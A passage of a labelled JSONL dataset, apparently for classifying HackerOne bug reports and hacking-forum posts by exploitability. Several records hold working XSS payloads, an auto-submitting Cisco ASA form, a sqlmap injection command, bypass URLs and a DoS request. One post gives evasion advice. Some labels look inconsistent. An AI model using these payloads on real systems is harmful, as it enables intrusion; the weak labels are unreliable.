text.sub(%r%^#{type}:/*%, '')\n    end\n  end\n```\n\n```markdown\n[<img/src=\".\"/onerror=alert(\"search\")>](a)\n```\n\nXSS tag is embedded in `js/search_index.js`.\n\n```js\n[\"search\",\"\",\"target/search_md.html\",\"\",\"<p><img/src=\\\".\\\"/onerror=alert(\\\"search\\\")>\\n\"]\n````\n\n### Rubygems RDoc home\n\nhttps://github.com/ruby/rdoc/blob/v6.3.0/lib/rdoc/generator/template/darkfish/index.rhtml#L20\n\n```html\n<p>This is the API documentation for <%= @title %>.\n```\n\nXSS is possible because `@title` is not escaped in the template used when RDoc is run by rubygems.\n\n---\n\n### PoC\n\n```\n$ gem -v\n3.2.17\n\n$ rdoc -v\n6.3.1\n```\n\nBuild the gem using the attached `xss.md` and `rdoc_xss.gemspec` files.\n\n```\n$ gem build rdoc_xss.gemspec\n\n$ gem install rdoc_title_xss-0.0.1.gem\n\n$ gem sever\n```\n\nConfirm multiple xss by opening the http://0.0.0.0:8808/doc_root/rdoc_title_xss-0.0.1/ screen in browser.\n\n{F1291736}\n\n## Impact\n\nXSS may be included if there is a function that generates html w", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "80a0274a2a35b91b270d", "text": "[Business Logic Errors] Federated share accepting/declining is not logged in audit log\n\nIn relation to https://hackerone.com/reports/1177353\n\n1. Enable the audit log\n2. Share a file to a federated user\n3. So far all looks good in the log\n4. the recipient checks either accepts or declines the share\n5.  There is no line regarding this in the logs.\n\n## Impact\n\nThe audit log is used to get a full trail of the actions which is now incompletely. With possible important information.\nIt seems to be also listed on https://portal.nextcloud.com/article/using-the-audit-log-44.html\nFrom my point of view a declined share is unshared again.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "21bc5c0963256517f5b0", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS via File Upload\n\n## Summary:\nReflected XSS in \" https://reddit.zendesk.com/hc/en-us/requests/new \" via file upload\n\n## Impact:\n\n!!\nattacker can send that email to victim and steal user account or cookies\n\nCross site scripting attacks can have devastating consequences. Code injected into a vulnerable application can exfiltrate data or install malware on the user’s machine. Attackers can masquerade as authorized users via session cookies, allowing them to perform any action allowed by the user account.\n\nXSS can also impact a business’s reputation. An attacker can deface a corporate website by altering its content, thereby damaging the company’s image or spreading misinformation. A hacker can also change the instructions given to users who visit the target website, misdirecting their behavior.\n\n* Perform any action within the application that the user can perform.\n* View any information that the user is able to view.\n* Modify any information that the user is able to modify.\n* Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.\n\nNote ! \nsvg work with all browsers\nxml file work with all browsers except ( google chrome )\n\n\n## Steps To Reproduce:\n\n  1. go to \" https://reddithelp.com/hc/en-us/requests/new  \" and select any type of report\n  2. type your email in email fileds and type any text in other fileds \n  3. in upload function upload  <svg>  or <xml> file I attached and send the request\n 4. now go to your mail box go to reddit mail and select the file you uploaded \n 5. after downlaoded the file open it in browser it will fire !\n\n## Supporting Material/References:\n\n  * Upload this files to site\n\n{F2089769}\n{F2089770}\n\n## Impact\n\nSteal user cookie \nAccount Takeover !\nPerform any action within the application that the user can perform.\nView any information that the user is able to view.\nModify any information that the user is able to modify.\nInitiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b1e42434c1378604a68c", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS in plan name field (Acronis Cyber Protect)\n\n## Summary\nIt has been identified that a known and previously reported stored XSS vulnerability is still possible to be exploited and abused in the recent version of Acronis Cyber Protect (*15.0.31791*), released last March 7, 2023, (*evidence attached*).\nThis report is for no other purpose than to make it known that the vulnerability still persists.\n\n## Steps To Reproduce\nBe sure to follow the steps below to replicate this vulnerability:\n\n  1. Create a new plan. Add a valid device.\n  1. As plan name type the following payload: `<img src=x onerror=alert(/Stored_XSS/)>`\n  1. Save the changes and wait for the plan to be created.\n  1. Now stop the plan by pressing the \"Stop\" button.\n  1. Before stopping it will ask for confirmation. Press the red \"Confirm\" button and the vulnerability will be triggered immediately.\n\nNote that just below the browser window a bubble will appear with a temporary message trying to render our payload.\n\n## Recommendations\nYou can avoid such vulnerabilities by escaping, validating data entries in fields and sanitizing suspicious and/or malicious entries. This text field is not supposed to contain/accept special characters or payloads.\n\n## Impact\n\nAn XSS attack allows an attacker to execute arbitrary JavaScript in the context of the attacked website and the attacked user. This can be abused to steal session cookies, perform requests in the name of the victim or for phishing attacks.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c309b4227baaa027fb5d", "text": "[Information Disclosure] [███████] Information disclosure due unauthenticated access to APIs and system browser functions\n\n**Description:**\nMultiple information exposure vulnerabilites were identified in a Jira Server instance (unauthenticated access to APIs and system browser functions). This report describes a combination of two separate vulnerabilities in two separate services This chain of vulnerabilities allows unauthenticated attacker to run arbitrary code on a server inside the company's internal network. the vulnerable registered as references JRASERVER-73060\n\n\n## References\nhttps://jira.atlassian.com/browse/JRASERVER-73060\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-14179\n\n## Impact\n\nUnauthorised access and the data should not be visible.\nProject categories, resolutions, and usernames are listed even if the API is not authenticated\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2020-14179\n\n## Steps to Reproduce\n1. Navigate visit the target scope is https://█████████/secure/JiraCreditsPage!default.jspa\n 1. And now we found a directory is jira sensitive\n 1. Lets send a curl request to the `?maxResults=1000` endpoint, as shown below. In the request, point the post request to the server address you want to send the request to:\n\nHere's the HTTP Parameter request that the issue:\n```\nGET /rest/menu/latest/admin HTTP/1.1\nHost: ███\nConnection: keep-alive\nPragma: no-cache\nCache-Control: no-cache\nsec-ch-ua-platform: \"Mac OS\"\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\n```\n * https://██████/secure/JiraCreditsPage!default.jspa\n * https://███████/rest/menu/latest/admin?maxResults=1000\n\n## Suggested Mitigation/Remediation Actions\n## Workaround\nAnonymous access to endpoints listed below is restricted starting Jira 9.0. On future Jira 8.x releases and all LTS releases it is possible to restrict anonymous access with feature flags. On Jira 8.x to restrict anonymous access to the endpoint you need to disable feature flag aka provide `<feature.flag>`.disabled On Jira 9.0 you need to enable the same feature flag aka provide `<feature.flag>`.enabled\n\n\n**You can use given feature flags: **\n`/rest/api/2/projectCategory` - (Anonymous access disabled completely) \n`/rest/api/2/resolution` - (Anonymous access blocked only when there is no projects available for anonymous users) \n`/rest/menu/latest/admin` - There is currently no feature flag to disable anonymous access, please check linked ticket in \"duplicates by\" to track this problem.\n\n**Refferences**\nhttps://hackerone.com/reports/994612 \n[JRASERVER-73060](https://jira.atlassian.com/browse/JRASERVER-73060)", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2020-14179"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e7396ebeeeba5568d803", "text": "There are some shell upgrades to get a usable bash shell, have a look at different methods…", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-03-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a62c3a4e3caec7bfef76", "text": "[Forced Browsing] Improper deep link validation\n\nThe application contains an activity which validates and handles the deep link requests, initiated from a VIEW intent action. The declared schemes include **http** and **https** request for the domain shopify.com as well as \\*.myshopify.com. The path prefixes include mostly subdirectories of the /admin path , thus when a deep link request is created the application routes this request to the corresponding activity of the application. \n**It was identified that it is possible to bypass the path prefix restrictions by adding appending a \"../\" to the end of the URI.  This results on loading arbitrary urls in the application's Webview, leveraging its Javascript capabilities as well as the EASDK bridge in order to compromise the integrity of the application.**\nFor example in order to access the https://someone.myshopify.com instead of https://someone.myshopify.com/admin/collections in the application's webview, the following intent may be sent: \n```\nam start -W -a android.intent.action.VIEW -d \"https://ravel17.myshopify.com/admin/collections/../../\n```\nThe above intent will yield the following result: \n{F1172971}\n\nIn order to load an external URL the following steps should be followed:\n- Create a partner account and add a new app \n- Use as the app's URL the address of the 'malicious' server \n\n{F1173035}\n- Navigate to the \"Choose client store\" in order to choose the target store\n\n{F1173036}\n\n- Finally, copy the link from the \"Merchant install link\"\n\n{F1173040}\n\n- Create the following intent:\n\n```\nam start -W -a android.intent.action.VIEW -d \"https://TARGET-STORE.myshopify.com/admin/collections/.../oauth/install_custom_app?client_id=....\n```\n- The result will be the following:\n\n{F1173046}\n\n## Impact\n\nAs it is mentioned above besides the Javascript which is enabled for the specific webview, the application adds a javascript interface which is accessed via the instantiation of an EASDK object. Some potential risk (besides phishing attacks which may be considered trivial for the specific case) is showed bellow:\n\n- Access to the application's sandbox via the EASDK.redirect:\n\nEASDK.redirect(\"file:///data/data/com.shopify.mobile/shared_prefs/notification_ids.xml\")\n{F1173057}\n\n- Javascript code execution:\n\n{F1173073}", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "925359b67ab07a2fe00d", "text": "[Authentication Bypass by Primary Weakness] CVE-2023-27536: GSS delegation too eager connection re-use\n\n## Summary:\nWhen considering reuse of existing connections different `CURLOPT_GSSAPI_DELEGATION` (libcurl) `--delegation` (curl)  option is not taken into consideration. This can lead to reuse of previously established connection when it should no longer be (as more strict or no delegation was requested).\n\n## Steps To Reproduce:\n\n  1.  `curl --negotiate -u : --delegation \"always\" https://server/path -: --negotiate -u : --delegation \"none\" https://server/path`\n\n## Remediation\n\n- Safest option is to not reuse connections if different `CURLOPT_GSSAPI_DELEGATION` levels are being used. It **might** also be correct to not reuse connections with \"laxer\" `CURLOPT_GSSAPI_DELEGATION`: \"none\" should only allow reusing \"none\" level, \"policy\" should only allow \"none\" or \"policy\" level, while \"always\" can reuse all connections otherwise deemed appropriate for reuse.\n\n## Impact\n\nExisting connection that was established via more lax delegation will be reused for connection that should not succeed due to more restrictive delegation requested. The practical impact can vary, but I believe it is likely quite low, as it should be quite rare to have connections attempted with mixed delegation policies like this.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-27536"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cefc742e963c1a9a3b87", "text": "[Improper Authentication - Generic] App PIN code can be bypassed in Files iOS\n\nHi Team,\n\nHope you are doing great.\n\nNote: IoS APP Vs.: 4.9.1\n\nI got a vulnerability in your applications via which an attacker is able to bypass the PIN.\nThe attacker just need to bruteforce the 4 digit PIN as unlimited tries is accepted by the application, the attacker can simply do a bruteforce and access the application.\n\nPoC:\n{F2844276}\n\n## Impact\n\nAuthentication Bypass leading to application access", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2401761aa21e85cfd604", "text": "SharpHound.ps1 doesn't work\n\nI’m trying Reel ( Hack The Box ). When I use SharpHound.ps1, the following error occurs everytime: nico@REEL C:\\Users\\nico>powershell -Exec Bypass Windows PowerShell Copyright (C) 2014 Microsoft Corporation. All rights reserved. PS C:\\Users\\nico> . .\\SharpHound.ps1 PS C:\\Users\\nico> Invoke-BloodHound -CollectionMethod All Exception calling \"Invoke\" with \"2\" argument(s): \"Method not found: '!!0[] System.Array.Empty()'.\" At C:\\Users\\nico\\SharpHound.ps1:642 char:88 + ... nvoke($Null, @(,$passed)) + ~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationExcep tion + FullyQualifiedErrorId : MissingMethodException This is the latest SharpHound.ps1. (I can’t use SharpHound.exe now)", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2e3ede3df805014a5902", "text": "[Cross-site Scripting (XSS) - Reflected] XSS DUE TO CVE-2022-38463 in https://████████\n\n**Description:**\nDuring my research, I found one of the host running ServiceNow vulnerable to CVE-2022-38463 . ServiceNow through San Diego Patch 4b and Patch 6 allows reflected XSS in the logout functionality.\n\n## Impact\n\nAttacker is able to steal victims cookies, redirect victim to attacker controlled domain, and perform various malicious activities.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1.Enter the following crafted URL in any web-browser.\n\nhttps://█████████/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)\n\n2. XSS will be triggered.\n\n## Suggested Mitigation/Remediation Actions", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-38463"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f40628c1e815a4248ce2", "text": "[Improper Access Control - Generic] Github Account Takeover from Docs page of `kubernetes-csi.github.io`\n\nReport Submission Form\n\n## Summary:\nKubernetes in its docs https://kubernetes-csi.github.io have a drivers list.\nOne of the driver was pointing to an external github account. That github account was not registered on github.com\nSo I was able to takeover the account and host PoC\n\n## Kubernetes Version:\nNA\n\n## Component Version:\nNA\n\n## Steps To Reproduce:\n\n  1. Go to https://kubernetes-csi.github.io/docs/drivers.html\n  2. Search for `MacroSAN`\n  3. Click on  `MacroSAN`\n  4. You will be taken to this repository https://github.com/macrosan-csi/macrosan-csi-driver\n  5. You will see takeover message there\n\n## Supporting Material/References:\n\n- https://github.com/macrosan-csi/macrosan-csi-driver\n- https://kubernetes-csi.github.io/docs/drivers.html\n\n{F1556768}\n\n## Reference\n\n- https://hackerone.com/reports/1212853\n\n## Impact\n\nAn attacker can takeover the repository and host malicious code on it, when any user or employee will refer the docs and tries to download the dirver, they will end up using malicious code which could lead to RCE.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bb0482cf9259654eff54", "text": "maybee somebody can help me ? i try move some file to tmp directory, but always have an error (((", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b024348a01c882a5f176", "text": "[Cross-site Scripting (XSS) - Reflected] XSS DUE TO CVE-2020-3580\n\nHello Team,\nDuring my research, I found multiple hosts to be vulnerable to Cisco ASA XSS CVE-2020-3580, This vulnerability targets the saml service within the VPN. It is triggered via a POST request to domain/+CSCOE+/saml/sp/acs?tgname=a\n\n## References\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe\n\n## Impact\n\nWith this vulnerability, an attacker can for example steal users cookies or redirect users on malicious website.\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\nCisco ASA\n\n## CVE Numbers\nCVE-2020-3580\n\n## Steps to Reproduce\n<html>\n  <body>\n  <script>history.pushState('', '', '/')</script>\n    <form action=\"https://████/+CSCOE+/saml/sp/acs?tgname=a\" method=\"POST\">\n      <input type=\"hidden\" name=\"SAMLResponse\" value=\"&quot;&gt;&lt;svg&#47;onload&#61;alert&#40;&apos;XSS&apos;&#41;&gt;\" />\n      <input type=\"hidden\" name=\"\" value=\"\" />\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n    <script>\n      document.forms[0].submit();\n    </script>\n  </body>\n</html>\n\n## Suggested Mitigation/Remediation Actions\nPatch Cisco ASA : https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2020-3580"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8d7276f675f5700bbfd2", "text": "[Insecure Storage of Sensitive Information] sensitive data exposure\n\n## Summary:\n[A Password hash entry was found in /etc/passwd. This is a major vulnerability since /etc/passwd is a world-readable file by default. Once the password hash is found, an attacker may extract the password using a program like crack.]\n\n## Impact:\nit is high impact vulnerability .once hacker found password hash it may be leads to develop a program like crack\n\n## Steps To Reproduce:\n[https://www.reddit.com/etc%2fpasswd]\n\n  1. [add step]\n  1. [add step]\n  1. [add step]\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\n## Impact\n\nA Password hash entry was found in /etc/passwd. This is a major vulnerability since /etc/passwd is a world-readable file by default. Once the password hash is found, an attacker may extract the password using a program like crack.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dd6ae9c5fd395d59f005", "text": "[SQL Injection] Blind Sql Injection in https://████████/\n\n**Description:**\n\nfirst  browse url\nhttps://█████████/DSF/SmartStore.aspx?gktTg9gFCEBknhRFawes89EY4WcuDKHZNYh58W8kzOWv0SM9Nk6SFMv570fOCer/BHfPrtRYtqRvYJ88zd0KsQ==&random=0.7493498572981403#!/Storefront\n\nfind login \n\nthen notice register\n\n████████\n\n███████\n\nclick register \n\nhttps://████/DSF/SmartStore.aspx?gktTg9gFCEBknhRFawes89EY4WcuDKHZNYh58W8kzOWv0SM9Nk6SFMv570fOCer/BHfPrtRYtqRvYJ88zd0KsQ==&random=0.7493498572981403#!/RegisterUser\n\nclick Choose Facility\n█████████\n\nWe can see a search box\n█████████\n\n```\nPOST /DSF/webservices/StorefrontService.asmx HTTP/1.1\nHost: ████████\nCookie: ASP.NET_SessionId=1phpamlj3ghg13yranwpwyc4; LASTSITEACTIVITY=17b9c74a-f80b-4e48-b274-729acb2e14ad; _____SITEGUID=17b9c74a-f80b-4e48-b274-729acb2e14ad; BIGipServerdso_dla_pool=!bMk2BVeAkzRdd6t/+hAGiDi1KgdSoi+88iAAs7+CvOtONGAdcnAhOqOuh++pi3IS36YNq+YVfr5l8HI=; TS01a7bc09=01a9fe659b2979abff2645807c9ce81ffbeeeeaafa33f9038d5a1c59dd219a29ce68fa7d4edb9afe6bb9488ceb9c8dd10214f84f28; DSFPartnerID=yaY5gqbGhOY=; TS2f53739b027=085749d0e4ab200041fc059864d60f7079a5bba1c971a9b0ec2c518a8be95c59408233620a4046e908a71691ce11300072991b95acde4750057dcf4b690fc5d287bd05e77fb374c2ef003c7fa6de858098c8aded9cd3dbae4fb2b4cb23fae3f4\nContent-Length: 945\nSec-Ch-Ua: \"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"114\", \"Google Chrome\";v=\"114\"\nAccept: application/xml\nContent-Type: application/json;charset=UTF-8\nSec-Ch-Ua-Mobile: ?0\nSoapaction: http://www.efi.com/dsf/StorefrontService/GetAllFacilitiesForNewUserRegistration\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36\nSec-Ch-Ua-Platform: \"Windows\"\nOrigin: https://███\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://█████/DSF/SmartStore.aspx?6xni2of2cF01Wh1WA1f8KvqWdFIzCmht0+f1rjakhLYZYEorRbI5CMSxx2CBgN1b\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nConnection: close\n\n      <soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' >      <soapenv:Header>     <AuthenticationHeader xmlns='http://www.efi.com/dsf/BuyerTicketClientServices'>      <SiteGUID>17b9c74a-f80b-4e48-b274-729acb2e14ad</SiteGUID>\n<SessionTokenID>49f22361-1243-4cde-9788-7bad2eb575ed</SessionTokenID>\n<TimeOut>20</TimeOut>\n<CultureName>zh-CN</CultureName>\n\n      </AuthenticationHeader>      </soapenv:Header>     <soapenv:Body>      <GetAllFacilitiesForNewUserRegistration xmlns='http://www.efi.com/dsf/StorefrontService'>      <companyId>-1</companyId>\n<cultureName>zh-CN</cultureName>\n<sortColumn>description</sortColumn>\n<sortOrder>asc</sortOrder>\n<searchValue>*</searchValue>\n<currentPageIndex>1</currentPageIndex>\n<recordsToFetch>10</recordsToFetch>\n\n      </GetAllFacilitiesForNewUserRegistration>      </soapenv:Body>      </soapenv:Envelope>\n```\n\nsearch box exist  Blind Sql Injection\n\nsearchValue is  Vulnerability parameters\n\n\nsqlmap\npayload\n\npython2  sqlmap.py -r 11.txt --random-agent --batch --technique=b --dbms=mssql   --force-ssl  --level 3 --skip-urlencode\n\n\n11.txt is Displayed packets\n\n███\n\n\n\ndb_name()=dsfdb\n\nuser=public\\dsfwsuser\n████████\n\n\n\n\n## References\n\n## Impact\n\nAn attacker can use SQL injection to bypass a web application's authentication and authorization mechanisms and retrieve the contents of an entire database. SQLi can also be used to add, modify and delete records in a database, affecting data integrity. Under the right circumstances, SQLi can also be used by an attacker to execute OS commands, which may then be used to escalate an attack even further.\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n```\nPOST /DSF/webservices/StorefrontService.asmx HTTP/1.1\nContent-Length: 1002\nHost: ███████\nCookie: ASP.NET_SessionId=1phpamlj3ghg13yranwpwyc4; LASTSITEACTIVITY=17b9c74a-f80b-4e48-b274-729acb2e14ad; _____SITEGUID=17b9c74a-f80b-4e48-b274-729acb2e14ad; BIGipServerdso_dla_pool=!bMk2BVeAkzRdd6t/+hAGiDi1KgdSoi+88iAAs7+CvOtONGAdcnAhOqOuh++pi3IS36YNq+YV", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "31f836cb89ea1d7b3a6e", "text": "[Unknown] OTP reflecting in response sensitive data exposure leads to account take over\n\n## Summary:\nSensitive data that is otp is reflecting in the response of phone number otp verification in https://app.upchieve.org \n\n## Steps To Reproduce:\n\n\n  1. Signin with a account\n  2.After signin it will ask for phone number for otp verification.\n3.Capture the request using burpsuite and see the response \n4.Now otp is exposing in the response.\n5.Account take over is happening.\n\n## Impact\n\nAny attacker can login into user account with his/her otp verification which is a high impact of this website.sensitive data is exposing here", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ce5c881d9112f554f6f2", "text": "I am looking for people who can hide their ass and work with them. I see beautiful ideas here. Good learning from you guys. Always buy used devices. Trust me it helps. Always use an RDP regardless your layers of protection.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-07-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b30fb4e8bfc900c92822", "text": "Thank you! plus: we are in the machine already, so an exec is enough tho", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-06-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d87cf416ef610a06c10a", "text": "There is a free tool online called Email-Extractor Email Extractor - Online tool for extracting any email address (email-checker.net) That can extract email addresses from the text content. I hope you found this helpful", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6eee168f6b509ba718e3", "text": "[Privilege Escalation] OpenSSL engines can be used to bypass and/or disable the permission model\n\n**Summary:** Node.js 20 allows loading arbitrary OpenSSL engines even when the permission model is enabled, which can bypass and/or disable the permission model.\n\n**Description:** The permission model implementation permits loading arbitrary native code, e.g., through `crypto.setEngine()`, even when native addons are disallowed, which is the default configuration. Not only can this code bypass the permission system, it can also disable the permission system entirely, effectively allowing JavaScript code to escalate its own privileges.\n\n## Steps To Reproduce:\n\n  1. Enable the permission model.\n  2. Call, for example, `crypto.setEngine()` with a compatible OpenSSL engine.\n  3. Arbitrary code execution occurs, unaffected by the permission model.\n\n## Impact\n\nThe permission model is supposed to restrict the capabilities of running code. However, exploiting this vulnerability allows an attacker to easily bypass the permission model entirely. The OpenSSL engine can, for example, disable the permission model in the host process, and subsequently executed JavaScript code will be unaffected by the previously enabled permission model. This allows running JavaScript code to effectively elevate its own permissions.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cacf44032b3acfdee83b", "text": "[Improper Access Control - Generic] Adobe ColdFusion Access Control Bypass - CVE-2023-38205\n\n**Description:**\nHi team,\nThe subdomain https://████ is with adobe ColdFusion vulnerable with CVE-2023-38205.\nThis vulnerability is a bypass path created for CVE-2023-29298.\n\n## References\n\nhttps://www.rapid7.com/blog/post/2023/07/19/cve-2023-38205-adobe-coldfusion-access-control-bypass-fixed/\n\n## Impact\n\nIf an attacker accesses a URL path of /hax/..CFIDE/wizards/common/utils.cfc the access control can be bypassed and the expected endpoint can still be reached, even though it is not a valid URL path .\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2023-38205\n\n## Steps to Reproduce\n1. Go to: https://█████████/hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx\n2. See the remote method call wizardHash on the/CFIDE/wizards/common/utils.cfc endpoint.\n\n## Suggested Mitigation/Remediation Actions", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-38205", "CVE-2023-29298"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3f9ce30d1b3f1f5b39eb", "text": "[Uncontrolled Resource Consumption] DoS via Playbook\n\n## Summary:\nA normal user can create a playbook, that has some attributes like the `run_summary_template`, `retrospective_template` and `description`,that don't have any size check or validation, which allows an attacker to set an unlimited number of characters as their values.\n\nIn a production environment is possible to set up to 50MB of data, due to the default nginx configuration, as the `run_summary_template` value. The creation of the playbook for itself is not sufficient to trigger an DoS attack in the application, but once this playbook is executed(run) the server  starts to consume a large amount of computing resources, which causes to the server to stop responding to users requests and ultimately leads to server crash.\n\nThis attack is even worst because after the application is restarted, its not possible to the user who created the playbook run to finish its execution via the Web Portal, because both the channel created by the playbook run, and the run dedicated management page, don't properly load, showing only a blank screen.\n\n## Steps To Reproduce:\n1.  Log in as a normal user in the platform.\n2. Grab the user `MMAUTHTOKEN` authentication token.\n3. Generate the playbook payload, that contains 50000000(50MB) characters as the `run_summary_template` attribute value. Use F1893243\n4. Send the following `POST` request to the `plugins/playbooks/api/v0/playbooks` API endpoint:\n```bash\ncurl -X POST \"http://<domain>/plugins/playbooks/api/v0/playbooks\" -H 'Content-Type: application/json' -d @payload --cookie \"MMAUTHTOKEN=<user-auth-token>\" -H \"X-CSRF-TOKEN: <csrf-token>\"\n```\n5. Go to the playbooks page, and click on the newly created playbook.\n6. Click in the \"Run\" button and then set an name for the run.\n7. After the run is initiated, the server will start to consume an abnormal quantity of computing resources, and crashes after some seconds.\n8. The application becomes unavailable for all its users.\n\n## Supporting Material/References:\n\n  * PoC Video\n{F1893242}\n\n## Impact\n\nA user can cause a full denial of service attack in the application server, making the application server unavailable to all its users.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cd8f34838704a4cb369e", "text": "Is it possible for the rootkit to self protect and report custom values for /proc/sys/kernel/tainted?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-07-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "10d669c1192451be6249", "text": "Can only agree on the explanation - this particular module look like it skipped the qality control. Your comments made it more clear and easy after but the wording of the assessment is ****", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
